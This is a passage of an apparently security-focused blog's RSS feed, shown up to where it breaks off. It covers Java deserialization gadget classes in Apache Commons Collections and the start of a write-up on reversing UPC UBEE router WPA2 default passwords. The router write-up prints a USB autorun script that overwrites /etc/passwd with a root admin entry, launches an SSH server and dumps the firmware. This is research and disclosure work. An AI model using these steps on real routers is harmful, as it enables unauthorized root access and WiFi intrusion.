        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;InstantiateTransformer: Constructor must be public&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;InvocationTargetException&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;InstantiateTransformer: Constructor threw an exception&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;InvokerTransformer&quot;&gt;InvokerTransformer&lt;/h3&gt;
&lt;p&gt;Essential class for method invocation on the input object.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cls&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;Method&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;method&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cls&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iMethodName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iParamTypes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iArgs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;NoSuchMethodException&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;InvokerTransformer: The method '&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iMethodName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;' on '&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;' does not exist&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;IllegalAccessException&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;InvokerTransformer: The method '&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iMethodName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;' on '&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;' cannot be accessed&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;InvocationTargetException&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;InvokerTransformer: The method '&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iMethodName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;' on '&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;' threw an exception&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;MapTransformer&quot;&gt;MapTransformer&lt;/h3&gt;
&lt;p&gt;Map is passed on initialization. If the whole map is serializable, can be used for something particular, but
in general it is quite useless.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;NOPTransformer&quot;&gt;NOPTransformer&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;PredicateTransformer&quot;&gt;PredicateTransformer&lt;/h3&gt;
&lt;p&gt;Converts predicate to transformer. Not very useful.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Boolean&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;TRUE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Boolean&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;StringValueTransformer&quot;&gt;StringValueTransformer&lt;/h3&gt;
&lt;p&gt;This can be used to convert primitive value returned from the previous call
to object again (String) so we can call methods on it / extract the value.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;valueOf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;SwitchTransformer&quot;&gt;SwitchTransformer&lt;/h3&gt;
&lt;p&gt;Nice tool for multiple predicate-check pairs.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iPredicates&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iTransformers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iDefault&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Fri, 02 Sep 2016 08:00:00 +0200</pubDate>
        <link>http://localhost:4000/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html</link>
        <guid isPermaLink="true">http://localhost:4000/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html</guid>
        
        <category>hacking</category>
        
        <category>java</category>
        
        <category>deserialization</category>
        
        <category>commons</category>
        
        <category>blind</category>
        
        <category>ysoserial</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>UPC UBEE EVW3226 WPA2 Password Reverse Engineering, rev 3</title>
        <description>&lt;p&gt;TL;DR: We reversed default WPA2 password generation routine for UPC UBEE EVW3226 router.&lt;br /&gt;
This blog contains firmware analysis, reversing writeup, function statistical analysis and proof-of-concept password generator.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;&lt;strong&gt;Parts:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#introduction&quot;&gt;Introduction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#firmware-extraction&quot;&gt;Firmware Extraction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#firmware-analysis&quot;&gt;Firmware Analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#reversing-part-2&quot;&gt;Reversing part 2 (Profanity Analysis)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#wardriving&quot;&gt;Wardriving&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#android-apps&quot;&gt;Android Apps&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sources&quot;&gt;Sources&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#responsible-disclosure&quot;&gt;Responsible Disclosure&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Updates:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;05-07-2016&lt;/em&gt;: &lt;a href=&quot;#wifileaks&quot;&gt;wifileaks.cz&lt;/a&gt; data set analyzed&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;11-07-2016&lt;/em&gt;: &lt;a href=&quot;#wifileaks&quot;&gt;wardrive statistics extended, vendors added&lt;/a&gt;, &lt;a href=&quot;#upc-solution&quot;&gt;UPC solution mentioned&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;05-11-2016&lt;/em&gt;: Hypothesis rejection diagrams improved, link to presentation added.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;This work was motivated by the work of &lt;a href=&quot;https://twitter.com/bl4sty&quot;&gt;Blasty&lt;/a&gt;.
Several months ago he published the algorithm ( &lt;a href=&quot;https://haxx.in/upc-wifi/&quot;&gt;upc_keys.c&lt;/a&gt; ) generating candidate default
WPA2 passwords for UPC WiFi routers using just SSID of the router. Vulnerable routers used just router ID to generate
default WiFi password and WiFi SSID. Algorithm goes through all possible router serial IDs and if SSID matches,
it prints out candidate WiFi passwords (cca 20).&lt;/p&gt;

&lt;p&gt;To our surprise it worked pretty well in our city, where 6 out of 10 UPC WiFi around were vulnerable. But it didn’t
work for newer router models and for my own. So we decide to look at this particular model if we were lucky to find
the same vulnerability in it.&lt;/p&gt;

&lt;p&gt;Our modem is UBEE EVW3226. As I don’t want to experiment on my own home router I bought one from the guy selling
exactly the same model. There are guys who managed to get root access to the router by connecting to the UART
interface of the router. I recommend going through this article: &lt;a href=&quot;https://www.freeture.ch/?p=766&quot;&gt;https://www.freeture.ch/?p=766&lt;/a&gt; or &lt;a href=&quot;http://jcjc-dev.com/2016/06/08/reversing-huawei-4-dumping-flash/&quot;&gt;http://jcjc-dev.com/2016/06/08/reversing-huawei-4-dumping-flash/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/ubee_front.jpg&quot;&gt;&lt;img src=&quot;/static/ubee/ubee_front.jpg&quot; alt=&quot;UBEE top&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lucky for us, we didn’t have to mess with the UART interface of the router even though I was looking forward to it.
Just a day before I bought my UBEE router for experiments, Firefart &lt;a href=&quot;https://firefart.at/post/upc_ubee_fail/&quot;&gt;published an article&lt;/a&gt;
on how to get a root on the router just by inserting a USB drive with simple scripts.&lt;/p&gt;

&lt;p&gt;Tl;dr: If USB drive has name &lt;code class=&quot;highlighter-rouge&quot;&gt;EVW3226&lt;/code&gt;, shell script
&lt;code class=&quot;highlighter-rouge&quot;&gt;.auto&lt;/code&gt; on it gets executed with system privileges. With this script you start SSH server, connect
prepared USB drive to the router and enjoy the root.&lt;/p&gt;

&lt;h2 id=&quot;firmware-extraction&quot;&gt;Firmware Extraction&lt;/h2&gt;

&lt;p&gt;With this I managed to dump the whole firmware on the mounted USB drive.
The script we use to start SSH daemon and to dump the firmware is below.
Note: for detailed instructions on preparing USB drive please refer to the original &lt;a href=&quot;https://firefart.at/post/upc_ubee_fail/&quot;&gt;article&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; /etc/passwd.1 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
	&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; /etc/passwd /etc/passwd.1

    &lt;span class=&quot;c&quot;&gt;# dropbear_rsa_host_key has to be prepared on the USB drive &lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;admin:FvTuBQSax2MqI:0:0:admin,,,:/:/bin/sh&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /etc/passwd
    dropbear &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; /var/tmp/disk/dropbear_rsa_host_key &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 192.168.0.1:22

    &lt;span class=&quot;c&quot;&gt;# Dump router FS to the drive as tar&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/var/tmp/disk/HOMEROUTER
    &lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;tar&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-cvpf&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/router-image-root.tar &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt;/var/tmp/disk/tar-exclude /
    &lt;span class=&quot;nb&quot;&gt;sync&lt;/span&gt;

    &lt;span class=&quot;c&quot;&gt;## dd all mounted file systems&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;0 1 2 3 4 5 6 7 8 9 10&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;CurDisk: mtdblock&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/dev/mtdblock&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span 